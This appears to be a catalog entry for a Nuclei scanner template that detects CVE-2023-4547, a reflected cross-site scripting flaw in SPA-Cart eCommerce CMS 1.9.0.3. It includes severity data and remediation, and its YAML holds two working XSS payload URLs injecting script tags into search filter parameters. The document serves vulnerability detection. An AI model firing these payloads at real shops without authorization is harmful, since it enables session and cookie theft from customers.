CVE-2023-4547: SPA-Cart eCommerce CMS 1.9.0.3 - Cross-Site Scripting
- Template: CVE-2023-4547
- Name: SPA-Cart eCommerce CMS 1.9.0.3 - Cross-Site Scripting
- Description: A vulnerability was found in SPA-Cart eCommerce CMS 1.9.0.3. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /search. The manipulation of the argument filter[brandid]/filter[price] leads to cross site scripting. The attack may be launched remotely. VDB-238058 is the identifier assigned to this vulnerability.
- Impact: Unauthenticated attackers can inject malicious JavaScript through search filter parameters, potentially stealing customer session cookies and payment information from the eCommerce platform.
- Remediation: Update SPA-Cart eCommerce CMS to a version newer than 1.9.0.3 that properly sanitizes filter parameters in the search functionality.
- Severity: medium
- Authors: theamanrawat, SoSpiRo
- Tags: cve, cve2023, spa-cart, unauth, xss, vuln
- References: https://spa-cart.com, https://cxsecurity.com/ascii/WLB-2023080090, https://nvd.nist.gov/vuln/detail/CVE-2023-4547, https://vuldb.com/?ctiid.238058, https://vuldb.com/?id.238058
- Cves: CVE-2023-4547
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-4547.yaml
- Digest: 4a0a00473045022100e56a3d5954b23709640c9e11ae34831b89410892c60e0e5fe4aa95de4e727bdd02206eac7678c92f091fc40af83e5aab1d671dbf71cbc7c7881dde9f4024c7ef4c25
- Created at: 2023-10-17T17:47:17Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1134
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-4547.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.60604
- Epss percentile: 0.99165
- Cpe: cpe:2.3:a:spa-cart:ecommerce_cms:1.9.0.3:*:*:*:*:*:*:*
Metadata
- Max-request: 2
- Product: ecommerce_cms
- Vendor: spa-cart
- Verified: true
Products
| Product | Indexed | Url |
|---|---|---|
| spa-cart:ecommerce_cms | yes | /v1/products/spa-cart/ecommerce_cms |
Labels
- Name: SPA-Cart - Reflected XSS
- Impact: Attackers can execute malicious scripts in the context of the victim's browser, potentially stealing cookies or session tokens.
- Remediation: Sanitize and validate input parameters, update to the latest version if available.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to load or interact with the malicious link
- Labels source: projectdiscovery
- From cve: CVE-2023-4547
```yaml
id: CVE-2023-4547
info:
name: SPA-Cart eCommerce CMS 1.9.0.3 - Cross-Site Scripting
author: theamanrawat,SoSpiRo
severity: medium
description: |
A vulnerability was found in SPA-Cart eCommerce CMS 1.9.0.3. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /search. The manipulation of the argument filter[brandid]/filter[price] leads to cross site scripting. The attack may be launched remotely. VDB-238058 is the identifier assigned to this vulnerability.
impact: |
Unauthenticated attackers can inject malicious JavaScript through search filter parameters, potentially stealing customer session cookies and payment information from the eCommerce platform.
remediation: |
Update SPA-Cart eCommerce CMS to a version newer than 1.9.0.3 that properly sanitizes filter parameters in the search functionality.
reference:
- https://cxsecurity.com/ascii/WLB-2023080090
- https://nvd.nist.gov/vuln/detail/CVE-2023-4547
- https://vuldb.com/?ctiid.238058
- https://vuldb.com/?id.238058
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-4547
cwe-id: CWE-79
epss-score: 0.60604
epss-percentile: 0.99165
cpe: cpe:2.3:a:spa-cart:ecommerce_cms:1.9.0.3:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: spa-cart
product: ecommerce_cms
tags: cve,cve2023,spa-cart,unauth,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/search?filtered=1&q=test&filter[price]=100-1331"><script>alert(document.cookie)</script>&filter[attr][Memory][]=16+GB'
- '{{BaseURL}}/search?filter[brandid]=vnxjb"><script>alert(document.cookie)</script>bvu51'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '100-1331"><script>alert(document.cookie)</script>'
- '><script>alert(document.cookie)</script>bvu51'
condition: or
- type: word
part: body
words:
- '<table class="products-nav">'
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
digest: 4a0a00473045022100e56a3d5954b23709640c9e11ae34831b89410892c60e0e5fe4aa95de4e727bdd02206eac7678c92f091fc40af83e5aab1d671dbf71cbc7c7881dde9f4024c7ef4c25:922c64590222798bb761d5b6d8e72950
```